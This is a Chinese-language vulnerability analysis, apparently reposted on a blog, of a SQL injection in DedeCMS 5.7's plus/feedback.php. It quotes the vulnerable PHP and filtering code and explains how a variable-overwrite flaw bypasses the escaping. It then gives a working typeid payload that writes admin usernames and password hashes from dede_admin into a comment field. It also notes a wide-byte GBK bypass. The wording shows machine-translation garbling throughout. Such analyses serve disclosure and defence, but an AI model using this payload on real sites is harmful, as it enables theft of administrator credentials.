破绽描绘
DedeCms是免费的PHP网站内容管理系统。
Dedecms v5.7的plusfeedback.php SQL没有正确考证用户提供的输入,在完成上中存在注入破绽,攻击者可应用此破绽注入SQL代码。
破绽版本
dedecms 5.7
破绽剖析
首先看到/plus/feedback.php
if($comtype == 'comments')
{
$arctitle = addslashes($title);
if($msg!='')
{
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
echo $inquery;//调试,输出查询语句
$rs = $dsql->ExecuteNoneQuery($inquery);
if(!$rs)
{
ShowMsg(' 发表评论错误! ', '-1');
//echo $dsql->GetError();
exit();
}
}
}
//援用回复
elseif ($comtype == 'reply')
{
$row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
$arctitle = $row['arctitle'];
$aid =$row['aid'];
$msg = $quotemsg.$msg;
$msg = HtmlReplace($msg, 2);
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
$dsql->ExecuteNoneQuery($inquery);
}
其中$typeid变量没有初始化 测试后发现SQL语句为:
INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('108','TYPEID','游客','paxmac','127.0.0.1','1','1351774092', '0','0','0','feedback','0','nsfocus&&paxmac team');
第二个参数typeid是能够控制的
但是DEDE又本人的防御机制,写在common.inc.php,会把request的参数都过滤一遍
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
{
exit('Request var not allow!');
}
$svar = addslashes($svar);
}
}
return $svar;
}
…..
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
if($_k == 'nvarname') ${$_k} = $_v;
else ${$_k} = _RunMagicQuotes($_v);
}
}
看似曾经没问题了,但是在filter.ini.php中
function _FilterAll($fk, &$svar)
{
global $cfg_notallowstr,$cfg_replacestr;
if( is_array($svar) )
{
foreach($svar as $_k => $_v)
{
$svar[$_k] = _FilterAll($fk,$_v);
}
}
else
{
if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar))
{
ShowMsg(" $fk has not allow words!",'-1');
exit();
}
if($cfg_replacestr!='')
{
$svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);
}
}
return $svar;
}
/* 对_GET,_POST,_COOKIE停止过滤 */
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
${$_k} = _FilterAll($_k,$_v);
}
}
上面是处置敏感词的代码,但是又对变量停止了注册,招致了变量二次掩盖破绽。其实这破绽很早前就存在,之前的是由于对提交的变量只检查一维数组的key,能够被绕过从而创立不允许的系统配置变量,dedecms历来的修正都让人摸不着头脑,修补的都是外表的东西,本质招致破绽问题的缘由不做修正。从这次的补丁看来,他就只加了一句判别$typeid能否为数字,关于80sec的防注入代码2次被绕过还继续忽视。 所以在GPC=OFF的时分,被转义的变量又会被重新掩盖而变成正常代码。 Eg: typeid=2’ 经过掩盖 typeid=2’ 研讨过上次dedecms SQL注入的问题的同窗肯定理解他的防注入机制。这里做下简单的剖析。他关于到之间的内容作为可信任,不对其停止检查。所以我们只需把想应用的代码放在’ ‘内就能躲过检查。应用Mysql的一个语法,他的值@'为空,下面来结构破绽exp:
typeid=123',@',0x11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM dede_admin)),(108,'1111
这里应用了一个小bug
能够看到他的表构造,只要msg能够为null,但是应用代码中在username中用了null,这是非法的语句,单独插入是不会胜利的,但是后面一句语句是成立的,insert (a,b) values (1,1)(2,2) (1,1,)非法 (2,2)契合条件的时分会胜利同时插入2条语句。由于显现字符数量的问题,所以选择了msg字段作为输出。
这是GPC为OFF的状况下,ON的状况下只要GBK才干应用,用宽字节注入绕过。
感谢您的来访,获取更多精彩文章请收藏本站。
![](https://www.gyzsq.com/wp-content/uploads/2022/07/9259adea4619.gif)
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
![头像](/wp-content/themes/zibll/img/avatar-default.png)